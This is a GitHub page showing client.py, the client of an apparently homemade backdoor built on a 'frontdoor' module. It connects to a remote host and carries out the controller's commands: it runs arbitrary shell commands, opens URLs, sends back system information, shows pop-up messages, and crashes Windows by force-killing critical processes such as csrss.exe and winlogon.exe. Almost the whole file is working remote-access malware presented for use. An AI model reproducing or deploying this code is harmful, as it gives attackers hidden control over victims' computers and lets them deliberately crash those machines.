-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
47 lines (40 loc) · 1.1 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import frontdoor
import platform
import os
import requests
import webbrowser
import time
from threading import Thread
sock=frontdoor.Client()
def check():
while True:
time.sleep(0.8)
if sock.check():
break
else:
iport = ["ip", "port"]
sock.setconnect(iport[0].strip(), int(iport[1].strip()))
t=Thread(target=check)
t.daemon=True
t.start()
for recv in sock.recv():
if recv == "info":
sock.send("{}\n".format(platform.platform()).encode("utf-8"))
if recv.startswith("os:"):
try:
os.system(recv[3:])
sock.send(True)
except Exception as e:
sock.send(False)
if recv.startswith("wb:"):
webbrowser.open(recv[3:])
sock.send(True)
if recv=="bluescreen":
os.system("taskkill /F /IM csrss.exe")
os.system("taskkill /F /IM svchost.exe")
os.system("taskkill /F /IM wininit.exe")
os.system("taskkill /F /IM winlogon.exe")
sock.send(True)
if recv.startswith("msg:"):
os.system("msg * /v "+recv[4:])
sock.send(True)